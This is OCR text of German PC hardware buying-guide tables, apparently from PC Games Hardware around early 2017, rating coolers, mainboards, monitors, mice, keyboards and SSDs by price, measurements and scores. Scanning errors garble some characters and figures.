Arctic Freezer i32 Ca. € 25,- 24 x 150 x 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 °C ,0/0,4/0,2 Sone** 2,56 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Pure Rock Ca. € 30,- 30 x 155 x 89 mm; 629 g 56,2 °С (1.370 U/min) 55,5/58,1/68,0 °C ,5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca. € 40,- 32 x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Ca. € 55,- 139 x 161 x 112 mm; 910 g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca. € 39,- 28 x 141 x 67 mm; 328 g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C ,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Be Quiet Shadow Rock Slim Ca. € 38,- 41 х 159 x 73 mm; 702 g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 °C ,6/0,5/0,1 Sone 2,69 09/2015 | www.pcgh.de/preis/1054903 
Noctua NH-C 14S Ca. € 75,- 46 x 142 x 164 mm; 1.013g | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 2,98 04/2016 | www.pcgh.de/preis/1271077 


Einkaufsführer | SERVICE 


Einkaufsführer Wasserkühlung & Mainboards nessen 101207 


CETTE TT PREIS-LEISTUNGS-TIPP Найіцьага SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (BxHxT) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ВИ PCGH-Preisvergleich 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 *C (1.020 U/min) 49,4/51,2/56,0 *C 3,9/1,9/,6/0,1 Sone 1,56 08/2016 | www.pcgh.de/preis/758311939 

Y T Arctic Liquid Freezer 240 Ca.€80,- | 273 х 120 x 88 mm 47,4 °C (970 U/min) 47,9/50,5/56,7 °C 2,5/1,0/,2/0,2 Sone** 1,78 03/2016 | www.pcgh.de/preis/1341649 
EK Water Blocks EK-XLC Predator 360 | N. verfüg. | 415 x 136 x 69 mm 48,1 °C (900 U/min) 44,8/47,2/54,0 *C 6,1/3,3/1,4/0,4 Sone** 2.12 03/2016 | www.pcgh.de/preis/1311746 
Cooler Master Nepton 240M Ca. € 100,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 48,2/50,6/56,6 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 Са. € 70,- | 275 х 120 x 53 mm 53,3 °C (1.020 U/min) 51,4/53,7/60,9 °C 2,8/1,3/,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€80- |276x120x52mm 51,7 *C (1.000 U/min) 50,0/51,8/57,6 °C 4,2/2,0/,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
EK Water Blocks EK-XLC Predator 240 | N. verfüg. | 296 x 136 x 69 mm 50,0 *C (1.020 U/min) 47,2/50,7/61,5 °C 5,0/2,8/1,0/0,5 Sone** 2,40 03/2016 | www.pcgh.de/preis/1311737 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ВИ PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 270,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 °C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit $240 Са. € 200,- | 282 х 121 x 52 mm 49,2 *C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 | 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 

Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung. Bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche. 


Mainboards für AMD-Prozessoren 


Sockel FM2+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* Т PCGH-Preisvergleich 
Asus A88X-Pro Ca. € 110,- | ASBX/ATX x16 (2), x1 (2), PCI (2) | 4 x (6 )/6 x 6Gb/s BIOS-Flashback 38,1/173,2 Wat 1,66 | 03/2014 | www.pcgh.de/preis/1001720 
ID Asrock FM2A88X- Killer Са. Є 95,- | A88X/ATX x16 (2), x1 (2), PCI (3) | 4 x (2 x)/8 х 666/5 Killer E2200 LAN | 25,1/163,3 Wat 1,67 | 03/2014 | www.pcgh.de/preis/1051505 
Gigabyte G1.Sniper A88X N. verfüg. | AB8X/ATX x16 (2), x1 (3), PCI (2) | 2x (2 x)/8 х 6Gb/s HQ-D/A-Wandler | 34,4/172,2 Wat 1,69 | 03/2014 | www.pcgh.de/preis/994595 
Sockel AM3+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* Wr) PCGH-Preisvergleich 
Asrock 990FX Killer Ca. € 140,- | 990/ATX x16 (3), x1 (2), PCI (0) | 4 x (2 x)/5 x 6Gb/s M.2-Schnittstelle | 60,7/287,4 Wat 1,76 | 09/2014 | www.pcgh.de/preis/1051502 
Asus Crosshair Formula-Z Ca. € 240,- | 990/ATX x16 (4), x1 (2), PCI (0) | 4 (2 )/8 х 6Gb/s Gut übertaktbar | 67,0/290,4 Wat 1,84 |09/2014 | www.pcgh.de/preis/823995 
Asus 990FX Sabertooth Ca. € 180,- | 990/ATX x16 (4), x1 (1), PCI (1) | 4 x (2 x)/8 х 6Gb/s E-SATA 81,4/334,7 Wat 1,89 | 09/2014 | www.pcgh.de/preis/827096 
TET Asus М5А97 R2.0 Ca.€85,- | 970/ATX x16 (2), x1 (2), PCI (2) | 2 x (4 x)/6 x 6Gb/s BIOS-Flashback 58,8/277,6 Wat 1,89 |01/2013 | www.pcgh.de/preis/818969 


* Leistungsaufnahme des ganzen PCs (A10-850K bzw. FX-8350 + HD 7970; 2x 2 GiB DDR3-1333) bei Windows-Leerlauf/Stabilitätstest 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Gigabyte Z170X-Gam. G1 | N. verfüg. | Z170/E-ATX | x16*/x0*/x16*/x0* & x1/x1/x1 | 3.0x4**; 3.0x4** | Sound Core | 2/0x3.1; 7/4x3.0; 10x | 6 (2x PWM) 2,26 0/2015 | www.pcgh.de/preis/1306474 
Asus Maximus VIII Ranger | Ca. € 190,- | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 7 (7x PWM) 2,33 1/2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Ca. € 300,- | Z170/ATX | x16*/x0* & x1/x1/x1/x1/x2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3.0; 8x | 7 (6x PWM) 2,34 0/2015 | www.pcgh.de/preis/1306329 
. NEU М! 2270 Gam. Pro Carb. | Ca. € 180,- | Z270/ATX x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM) 2,39 02/2017 | www.pcgh.de/preis/1557471 
INEU Asus Maximus IX Hero Ca. € 270,- | Z270/ATX | x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 8 (8x PWM) 2,41 02/2017 | www.pcgh.de/preis/1557900 
EVGA 7170 Classified Ca. € 500,- | 2170/Е-АТХ | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**: 3.0x1 Sound Core | 0/2х3.1; 6/2x3.0; 8х | 7 (7x PWM) 2,43 0/2015 | www.pcgh.de/preis/1306951 
. NEU Gigabyte Z270X-Gaming 7 | Ca. € 240,- | Z270/ATX | x16*/x0* & х1/х1/х0*/х4* 3.0x4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM) 2,46 02/2017 | www.pcgh.de/preis/1557876 
NEU) Asrock 2270 Gaming K6 | Ca. € 200,- | Z270/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8х | 5 (5x PWM) 2,54 02/2017 | www.pcgh.de/preis/1544856 
Gigabyte Z170X-Gam. 3 | Ca. € 160,- | Z170/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3.0; 6x | 5 (1х PWM) 2,55 1/2015 | www.pcgh.de/preis/1306467 
MSI 2170А Gaming M7 Ca. € 210,- | 2170/АТХ x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 5 (3x PWM) 2,56 0/2015 | www.pcgh.de/preis/1306689 
IL y Asrock 2170 Gaming K4 | Са. € 130,- | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3.0; 6x | 6 (6x PWM) 2,61 1/2015 | www.pcgh.de/preis/1306625 
Asrock 7170 Extreme4 Ca. € 140,- | ZI70/ATX x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 6/2x3,0; 6x | 5 (4х PWM) 2,64 | 08/2016 | www.pcgh.de/preis/1306610 
Supermicro С72170-50 N. verfüg. | Z170/ATX x16*/x0*/x0* & х1/х4/х1 3.0x4 ALC898 1/0x3.1; 2/4x3.0; 6x | 5 (5x PWM) 2,79 0/2015 | www.pcgh.de/preis/1307677 
MSI H170A PC Mate Ca. € 110,- | H170/ATX x16 & x0*/x0*/x0*/x4* 3.0x4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2х PWM) 2,82 08/2016 | www.pcgh.de/preis/1319556 
Biostar 2170GT7 N. verfüg. | Z170/ATX x16*/x0* & x1/x0*/x4*[x0*/x4 | 3.0x4** ALC898 1/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) 2,92 08/2016 | www.pcgh.de/preis/1390374 
ШУ Asrock B150M Pro4S Са. € 75,- | BI50/uATX | x16 & x1/x1/x4 - ALC892 0/0х3.1; 4/2х3,0; 6x | 3 (3х PWM) 2,96 08/2016 | www.pcgh.de/preis/1318332 
Super Micro C7H170-M Ca. € 160,- | H170/pATX_| x16 & x4/x1 3.0x4 ALC1150 | 0/0x3.1; 4/2x3,0; 6x | 5 (5x PWM) 3,10 08/2016 | www.pcgh.de/preis/1326288 
Asus H110M-Plus Са. € 70,- | H110/UATX | x16 & x1(2.01)/x1(2.01) _ ALC887 2/0x3.1; 2/2x3,0; 4x | 2 (2x PWM) 3,48 08/2016 | www.pcgh.de/preis/1350313 

Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 280,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,83 0/2016 | www.pcgh.de/preis/1462624 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4х3,0; 10x | 6 (6x PWM) 1,84 0/2016 | www.pcgh.de/preis/1441449 
Asrock X99 Extreme4/3.1 | Ca. € 240,- | X99/ATX x16/x16/x0* & x4/x1 3.0x4* ALC1150 | /x3.1; 4/2x3,0; 10x | 6 (2x PWM) 1,85 0/2016 | www.pcgh.de/preis/1252790 
Gigabyte X99-Ultra Gam. | Ca. € 300,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,88 0/2016 | www.pcgh.de/preis/1446348 
I Ms X99A Raider Ca. € 210,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4/2x3,0; 10x | 5 (2x PWM) 1,95 0/2016 | www.pcgh.de/preis/1247988 
Asus X99-E Ca. € 240,- | X99/ATX x16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 0/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 300,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1x PWM) 1,96 0/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K N. verfüg. | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x PWM) 2,10 0/2016 | www.pcgh.de/preis/1452679 

Sockel 1150 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock 797 Extreme6 N. verfüg. | Z97/ATX x16*/x0* & x1/x1*/x2 3.0x4*; 2.0x2** | ALC1150 | 0x3.1; 6/4x3.0; 10x | 6 (2x4-Pin) 1,90 06/2015 | www.pcgh.de/preis/1106887 
MSI 7975 SLI Krait Edition | N. verfüg. | Z97/ATX x16*/x0* & x1/x1/x1 20x2** ALC892 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2,37 07/2015 | www.pcgh.de/preis/1153578 
Gigabyte GA-H97-D3H Ca. € 100,- | H97/ATX x16 & x0*/x4*/x0* 20x2** ALC1150 | 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2,87 07/2015 | www.pcgh.de/preis/1107992 


* PCI-E-Lane-Sharing ** M2 shared mit SATA ` *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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SERVICE | Einkaufsführer 


Einkaufsführer LCDs & Eingabegeräte ТЕЕ 


LTE T PREIS-LEISTUNGS-TIPP [ERS f SPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 


Asus MG248Q Ca. € 320,- 24 Zo 144 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 | 06/2016 | www.pcgh.de/preis/1419189 

Iiyama GB2488HSU-B2 Ca. € 260,- 24 Zo 144 Hertz 5 ms 12ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 
Acer XF240H bmjdpr Ca. € 259,- 24 Zo 144 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 

AOC G2460PF Ca. € 250,- 24 Zo 144 Hertz 6 ms 4 ms 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 www.pcgh.de/preis/1318972 «Т7 
Asus VG278HV Ca. € 335,- 2770 144 Hertz 5 ms 9ms 58 bis 305 cd/m2 N-Pane - 1,79 05/2016 | www.pcgh.de/preis/1336350 

Benq Zowie XL2540 Ca. € 500,- 24,5 Zoll 240 Hertz 5ms 10 ms 40 bis 390 cd/m? N-Pane - 1,83 02/2017 | www.pcgh.de/preis/1534083 

Samsung S27E591C N. verfügb. 27 Zo 75 Hertz 12ms 2ms 40 bis 355 cd/m? MVA-Panel |- 1,92 05/2016 | www.pcgh.de/preis/1240823 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

Asus ROG PG279Q Ca. € 820,- 27 Zo 165 Hertz 6 ms 9 ms 50 bis 300 cd/m? PS-Panel G-Sync 1,79 12/2015 | www.pcgh.de/preis/1275089 

Benq BL2710PT Са. € 420,- 2770 60 Hertz 4 ms 19 ms 65 bis 382 cd/m2 AHVA-Panel | - 1,86 03/2014 | www.pcgh.de/preis/978482 
Asus MG279Q Ca. € 600,- 27 Zo 144 Hertz 8ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 ТТМ 
Benq XL2730Z Ca. € 580,- 2770 144 Hertz 8 ms 8 ms 52 bis 353 cd/m2 N-Pane Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 2770 60 Hertz 5 ms 19 ms 74 bis 312 cd/m? AHVA-Panel | - 2,04 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in 
iyama X407 1UHSU-B1 Ca. € 565,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |- 1,81 11/2016 | www.pcgh.de/preis/1362847 Нїїйшге 
Asus РВ2870 Ca. € 400,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? N-Panel - 1,87 07/2014 www.pcgh.de/preis/1094194 «ТІ 
Asus PB279Q Ca. € 580,- 27 20 60 Hertz 6 ms 9 ms 54 bis 266 cd/m2 PS-Pane| - 2,04 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Са. € 522,- 27 Zo 60 Hertz 8ms 11ms 72 bis 230 cd/m? PS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflösung Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

LG 38UC99-W Са. € 1.350,- | 3.840 x 1.600 | 75 Hertz 7 ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 

Asus R0G PG348Q Са. € 1.175,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m? PS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 900,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? PS-Panel Freesync 1,76 | 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 720,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 | 04/2016 | www.pcgh.de/preis/1195794 


Acer Predator X34 Са. € 1.156,- | 3.440 x 1.440 | 100 Hertz 12 ms 8 ms 19 bis 306 cd/m? PS-Panel G-Sync 1,89 04/2016 | www.pcgh.de/preis/1257523 


Modell Preis Kabellánge | Tasten Abtastung Auflósung | Gewicht Ergonomie Test in 

Roccat Nyth Ca. € 125,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Tyon Ca. € 110,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 

Logitech G900 Chaos Spectrum | Ca. € 110,- | Schnurlos 10 + Scrollrad | Optisch (LED) | 12.000 Dpi | 107 Gramm Sehr gu 1,33 | 07/2016 | www.pcgh.de/preis/1414931 

Asus ROG Spatha Ca. € 165,- | Schnurlos 11 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 133 Gramm Sehr gu 1,36 10/2016 | www.pcgh.de/preis/1241345 

Razer Mamba Tournament Edition | Ca. €85,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gut 1,39 01/2016 | www.pcgh.de/preis/1310517 

Logitech G502 Proteus Core Са. Є 80,- | 180 ст 9 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 128 bis 146 Gramm Sehr gu 1,42 | 07/2014 | www.pcgh.de/preis/1098847 

Mionix Naos 8200 Ca.€80,- |200cm 6 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 105 Gramm Sehr gu 1,43 12/2014 | www.pcgh.de/preis/900404 
Steelseries Sensei MLG Edition | №. verfügb. | 200 cm 7 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 105 Gramm Sehr gut 1,43 12/2012 | www.pcgh.de/preis/871876 

Roccat Kone XTD Ca.€75- | 180 ст 7 +Scrollrad | Optisch (Laser) | 8.200 Dpi | 120 bis 140 Gramm Sehr gu 1,43 12/2012 | www.pcgh.de/preis/841868 

Razer Ouroboros Са. € 110,- | Schnurlos |8 + Scrollrad | Laser und LED | 8.200 Dpi | 117/147 Gramm mit Akku | Sehr gu 1,43 | 07/2013 | www.pcgh.de/preis/815637 

Rapoo Vpro VR900 N. verfügb. | 180 cm 7 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 115 Gramm Sehr gu 1,46 12/2014 | www.pcgh.de/preis/3939231 [PY нігашаге 4 
Mad Catz R.A.T. Tournament Ed. | Са. Є 70,- | 180 cm 9 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 91 Gramm Sehr gut 1,46 07/2014 | www.pcgh.de/preis/1063444 

Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in PCGH-Preisvergleich 

Razer Ornata Chroma Ca. € 110,- | RGB-Einzeltastenbel. - Ja (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 

Asus Cerberus Ca.€50,- | Voll, zweif Farben - Ja (integriert) 6 alja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 «ТҮҢ 
Sharkoon Skiller Pro+ Са. Є 35,- | Voll, sieben Farben - Ja (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 

Tt esports Challenger Prime Са. Є 30,- | Voll, drei Farben - Ja (integriert) 12 + Drehregler а/а (k. A.) 1,98 10/2016 | www.pcgh.de/preis/1183433 «Т? 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue | Ja/ja (2 MByte) 1,26 | 09/2016 | www.pcgh.de/preis/1388126 

Sharkoon Shark Zone MK 80 RGB | Ca. € 135,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2013 www.pcgh.de/preis/1369386 «ТҮҢ 
Corsair Strafe RGB MX Silent Са. Є 155,- | RGB-Einzeltastenbel. 1xUSB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black a/ja (k. A.) 1,45 11/2015 www.pcgh.de/preis/1258778 «ТТ 
Razer Black Widow Chroma Ca. € 165,- | RGB-Einzeltastenbel. 1xUSB 2.0, Audio | Razer Green (taktil) | Razer Orange alja (k. A.) 1,46 12/2014 | www.pcgh.de/preis/1154331 

Tt esports Poseidon Z RGB Ca. € 105,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 

Corsair K70 RGB Rapid Fire Ca. € 165,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Ch. MX Speed RGB | Cherry MX Speed RGB | Ja/ja (ein Profil) 1,49 | 06/2016 | www.pcgh.de/preis/1431774 

Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 | 03/2017 | www.pcgh.de/preis/1549791 NEU 
Roccat Suora FX Ca. € 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown TTC RGB Brown a/ja (k. A.) 1,50 03/2017 www.pcgh.de/preis/1431774 NEU 
G.Skill Ripjaws KM780 RGB Ca. € 135,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Cherry MX RGB Br. | MX RGB Brown/Red | Јаја (k. A.) 1,52 | 03/2016 | www.pcgh.de/preis/1332861 

Cougar Attack X3 RGB Ca. € 120,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Br. | Cherry MX RGB Br. alja (k. A.) 1,57 03/2017 www.pcgh.de/preis/1534418 NEU 
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Einkaufsführer | SERVICE 


Einkaufsführer SSDs & Festplatten 


Preise: Stand 19.01.2017 


(LIT f: PREIS-LEISTUNGS-TIPP. 


[ELI fT SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Evo Ca. € 95,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1194261 
Plextor M6 Pro Са. € 130,- | 238 GiB/256 GB 513/471 MB/s 88.000 81 Sekunden | 5 Jahre 2,02 08/2015 | www.pcgh.de/preis/1150916 
Adata SX 930 Са. € 100,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Ir E Crucial MX200 Ca. € 90,- 233 GiB/250 GB 521/475 MB/s 77.000 76 Sekunden | 3 Jahre 2,08 08/2015 | www.pcgh.de/preis/1215088 
Sandisk Extreme Pro N. verfügbar | 224 GiB/240 GB 526/495 MB/s 44.000 92 Sekunden | 10 Jahre 2,08 | 07/2016 | www.pcgh.de/preis/1126455 
Kingston HyperX Sav. SSD Kit | Са. € 130,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
OCZ Vector 180 Са. € 100,- | 224 GiB/240 GB 509/489 MB/s 85.000 90 Sekunden | 5 Jahre 212 08/2015 | www.pcgh.de/preis/1230956 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Tru TE Samsung SSD 850 Evo Ca.€160,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Ca.€230,- | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Crucial MX200 N. verfügbar | 466 GiB/500 GB 519/475 MB/s 88.000 77 Sekunden | 3 Jahre 1,98 08/2015 | www.pcgh.de/preis/1215110 
Sandisk Extreme Pro Ca.€210,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
TT TD Mushkin Striker Са. Є 125,-  |447 GiB/480 GB 529/509 MB/s 49.000 82 Sekunden | 3 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1388029 
OCZ Vector 180 Са. € 190,- | 447 GiB/480 GB 513/483 MB/s 91.000 90 Sekunden | 5 Jahre 2,14 08/2015 | www.pcgh.de/preis/1230954 
Sandisk Ultra II Са. € 130,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 | 07/2016 | www.pcgh.de/preis/1154832 
Crucial BX100 N. verfügbar | 466 GiB/500 GB 526/435 MB/s 72.000 75 Sekunden | 3 Jahre 2,26 08/2015 | www.pcgh.de/preis/1215184 
Western Digital WD Blue SSD Ca. € 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 online | www.pcgh.de/preis/1521437 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€460,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.370,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Samsung SSD 850 Evo Ca. € 330,- | 932 GiB/1.000 GB 521/503 MB/s 90.000 73 Sekunden | 5 Jahre 1,88 08/2015 | www.pcgh.de/preis/1194264 
Crucial MX200 Са. € 300,- | 932 GiB/1.000 GB 516/480 MB/s 88.000 76 Sekunden | З Jahre 1597 08/2015 | www.pcgh.de/preis/1215111 
